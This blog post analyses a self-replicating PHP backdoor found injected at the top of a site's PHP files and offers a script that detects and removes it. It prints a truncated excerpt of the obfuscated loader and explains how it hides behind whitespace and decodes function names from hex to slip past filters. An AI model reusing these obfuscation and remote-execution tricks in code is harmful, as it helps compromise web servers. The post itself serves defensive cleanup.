PHP malware

I was recently asked to quote for some work on the website of a business that delivers education-related services (I’m not naming any names here). To get an idea of the work involved, I asked for the FTP login details so I could take a look at the code that was already there. What I found wasn’t very encouraging. Just about every PHP file on the server started with the following code:

<?php                                                                   

                      /*versio:2.19*/$I1l1=53885;if (!function_exists('I
ll11llI')){$GLOBALS['I1l1'] = ')Y3VybA!jtX2luaXQYWxsb3dfdXJsX2ZvcGVukE?~
MQaHR0cDovLwJndheT1maWxlX2dldF9jb250ZW50cwwtX3NldG9wdA@FX2V4ZWMekJndheT1
                                    :
... (continues in a similar vein for about another 3,000 characters) ...
                                    :
HZ0liUnl4b1k5SHh4UkZUTm1WeXo4R09wL3RZVWl4Y3NiTTNuNXRtemxEd2RWejc4L2dWWEd
qanEiKSkpOwMcHJlZ19yZXBsYWNl';function Il11Illl($a, $b){$c=$GLOBALS['I1l
1']; $d=pack('H*','62617365'.'36345f6465636f6465'); return $d(substr($c,
 $a, $b));};$Q0QO0O0O0 = Il11Illl(3365, 16);$Q0QO0O0O0("/Q0QQ0O0QQ/e", I
ll11llI(742, 2622), "Q0QQ0O0QQ");};?>

This was all crammed into one line; the line breaks here were added by me for legibility. As a result, anyone looking at the file in a text editor with word wrapping switched off would only see the first hundred or so characters:

<?php

Quite a clever disguise, since PHP files normally start with these 5 characters anyway. I didn’t bother to dissect the code completely, but it clearly allowed remote code to be executed on the server, so pretty much anything would have been possible.

The way it works is by using the base64_decode() function to unpack and run the PHP code stored in the random-looking payload that starts with )Y3VybA! in this example. To help the code bypass firewall software like mod_security, the name of this function is decoded from a pair of hexadecimal strings:

$d=pack('H*','62617365'.'36345f6465636f6465');

The pack() function decodes the string as follows: ’62’→’b’, ’61’→’a’, ’73’→’s’, ’65’→’e’, ’36’→’6′, and so on. This is assigned to variable $d, which is called to unpack the payload. The first call unpacks the 16 characters starting at position 3365 (cHJlZ19yZXBsYWNl) to get the function name preg_replace(), and by using the ‘/e’ (PREG_REPLACE_EVAL) pattern modifier in calls to this function, the code can get on with whatever it does (like adding itself to other files and fetching code from remote servers).

The code is self-modifying — every instance of it used slightly different variable names, for example. However, the code always started with /*versio: after the initial white space in each case.

Removal

By consistently starting the code with loads of white space and this odd word “versio”, the programmer made it easy to detect and remove the code with a simple search-and-replace operation, coupled with a recursive directory traversal function:

<?php

header("Content-Type: text/plain");
while (ob_get_level()) ob_end_clean();

function recursive_edit($path,
                        $matchname,
                        $searchtext,
                        $replacetext,
                        $trunc) {
  global $nmatches, $nfixes;
  foreach (glob($path.'/*') as $name) {
    if (is_dir($name)) {
      recursive_edit($name,
                     $matchname,
                     $searchtext,
                     $replacetext,
                     $trunc);
    }
    elseif (preg_match($matchname,$name)) {
      $s = file_get_contents($name);
      if (preg_match($searchtext,$s)) {
        $s = preg_replace($searchtext,$replacetext,$s);
        $nmatches++;
        echo substr($name,$trunc);
        if (!file_put_contents($name,$s)) {
          echo " ** no write access **\n";
        }
        else {
          echo " repaired\n";
          $nfixes++;
        }
      }
    }
  }
}

echo "Disinfecting files\n";
$nmatches = 0;
$nfixes = 0;

recursive_edit($_SERVER['DOCUMENT_ROOT'],'/\.php$/',
               '/<\?php\s{20,}\/\*versio:.+?\?>/s',
               '',
               strlen($_SERVER['DOCUMENT_ROOT']));

if ($nmatches) {
  echo "Repaired $nfixes out of $nmatches file";
  echo (($nmatches>1) ? 's' : '') . ".\n";
}
else {
  echo "No files needed to be changed\n";
}

?>

If you think you’ve got a similar problem, just upload this file to your server as “disinfectant.php” and point your web browser at it. If it finds any infected files, it will fix them for you as long as it has sufficient permission to do so.

Note: Usual disclaimers apply. Back everything up first. And don’t forget to change all your passwords after removing the malware. That includes your FTP, site admin and MySQL passwords. Use strong passwords this time. And while you’re at it, check your code for other vulnerabilities like cross-site scripting and SQL injection.

Tagged with: ,
2 comments on “PHP malware
  1. Peter says:

    thanks had the code on my site as well.

    one mistake in your script though:
    echo "Repaired $nfixes out of $nmatches file"'

    should be
    echo "Repaired $nfixes out of $nmatches file";

1 Pings/Trackbacks for "PHP malware"
  1. […] I wrote a PHP script to remove a similar self-replicating worm from another site, which I think was caused by a very poor choice of password (not by me, I should hasten to add!). […]

Leave a Reply to phil Cancel reply

Your email address will not be published. Required fields are marked *

*

Please enter the missing number: *